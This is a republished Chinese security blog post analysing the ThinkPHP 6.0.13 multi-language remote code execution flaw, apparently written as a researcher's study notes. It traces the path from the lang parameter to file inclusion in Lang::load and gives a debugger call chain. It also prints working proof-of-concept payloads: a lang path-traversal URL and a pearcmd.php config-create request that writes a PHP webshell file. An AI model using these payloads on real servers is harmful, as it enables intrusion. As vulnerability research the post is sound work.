浅析ThinkPHP多语言RCE
2022-12-24 14:1:35 Author: 安全日记(查看原文) 阅读量:17 收藏


声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!

0x00 前言

今天跟了下前段时间爆出来的TP多语言RCE,虽然有限制,但从漏洞挖掘角度来看,这个洞确实很巧妙,做个笔记记录一下,环境如下:

  • PHP 7.3

  • ThinkPHP6.0.13

0x01 漏洞复现

如果就单纯打洞,vulhub已经提供好现成环境了,或者自己compose下载代码改一下配置,TP6来到app/middleware.php,开启多语言模式

<?php// 全局中间件定义文件return [    // 全局请求缓存    // \think\middleware\CheckRequestCache::class,    // 多语言加载    \think\middleware\LoadLangPack::class,    // Session初始化    // \think\middleware\SessionInit::class];

然后我们来到public目录,随便创建个文件,作用就是弹计算器

打Exp,成功弹出计算器

http://www.xxx.com/?lang=../../../../../public/abcd

0x02 漏洞分析

我们先来diff下官方是怎么修复这个漏洞的,https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099#diff-87105b2e85b593c39052051afbad00516b15ebe5fa0c445e91cfbb397fe0e8cb,可以看到官方直接删除了tp60\vendor\topthink\framework\src\think\Lang.php中的delete()、savaCookie()

注意看这里代码逻辑的改变,变成强制判断了,本来当上边所有条件都不满足,最后才会去获取请求头中Accept-Language的值,并进行合法性校验

改为了不管你上边取什么值,最终都会进行正则匹配,也就是合法性校验,确实就是代码逻辑的问题,就跟人生一样,执行顺序的不同,也可能导致不同的结果

那么到这里我们直接把断点下在\think\middleware\LoadLangPack::handle即可,这里算是入口点。由它调用detect开启RCE之旅

那么我们直接开打,跟进detect,首先会判断url中是否存在lang属性

有的话就直接赋值给$langSet,并判断$this->config['allow_lang_list']是否为空,或者咱们的lang是否在这个列表里

符合条件,直接跟入\think\Lang::setLangSet,作用就是将我们的恶意lang覆盖掉原range

接着如果lang发生改变,就调用\think\Lang::switchLangSet去设置lang,程序走到这里,也就基本完成了文件包含的使命了

最终在\think\Lang::load进行文件包含,成功包含了我们的恶意文件

完整调用链

Lang.php:170, think\Lang->load()Lang.php:136, think\Lang->switchLangSet()LoadLangPack.php:52, think\middleware\LoadLangPack->handle()Middleware.php:142, call_user_func:{E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:142}()Middleware.php:142, think\Middleware->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:137-148}()Pipeline.php:85, think\Pipeline->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Pipeline.php:83-89}()TraceDebug.php:71, think\trace\TraceDebug->handle()Middleware.php:142, call_user_func:{E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:142}()Middleware.php:142, think\Middleware->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Middleware.php:137-148}()Pipeline.php:85, think\Pipeline->think\{closure:E:\Server\phpstudy_pro\WWW\tp60\vendor\topthink\framework\src\think\Pipeline.php:83-89}()Pipeline.php:66, think\Pipeline->then()Http.php:207, think\Http->runWithRequest()Http.php:170, think\Http->run()index.php:20, {main}()

0x03 pearcmd.php的妙用

跟到这里就会发现,这本质上其实就是一个文件包含,关于PHP LFI利用是一个老生常谈的问题了,在vulhub提供的环境中我们发现PoC长这样

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php 

这其实用到了pearcmd.php。也就是pear/pcel命令,pear、pecl 其实算是包管理器,他帮助你发布、编译安装PHP的扩展、包

上面红框处config-create参数写的很清楚,就是创建文件,两个参数,路径和文件名

那么我们先单纯命令行写一个试一下

pear config-create /\<?=phpinfo\(\)?\> /tmp/test

成功写入,第一个参数值会被写入到第二个参数的文件中,这就是RCE的第一个条件:环境中存在pear/pcel命令

那么怎么在web中调用它,并且调用指定方法呢?这就要第二个RCE条件:支持register_argc_argv,这个功能的大致作用就是将url属性进行分割,就像这样

对应的就是下面这条命令

pear config-create /<?=phpinfo()?> shell.php

0x04 总结

虽然漏洞利用起来有一定难度,但单从安全研究角度来说丝毫不影响它的巧妙,这应该是目前TP系列漏洞中调用栈最少的了,不得不佩服挖洞人,这得对TP这套框架相当熟悉,并且有耐心去跟才能出的“垃圾洞”,确实厉害的

参考链接:

  • https://tttang.com/archive/1865/#toc_thinkphp-6

  • https://tttang.com/archive/13122


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5Njc0NTY4NQ==&mid=2247484389&idx=1&sn=4599a1ff995d1b423748d1937355daef&chksm=c07d2a5ff70aa349532f30aeab6c54a3d00523d123ca2f7154c02add21e8eac2df9980d4934e#rd
如有侵权请联系:admin#unsafe.sh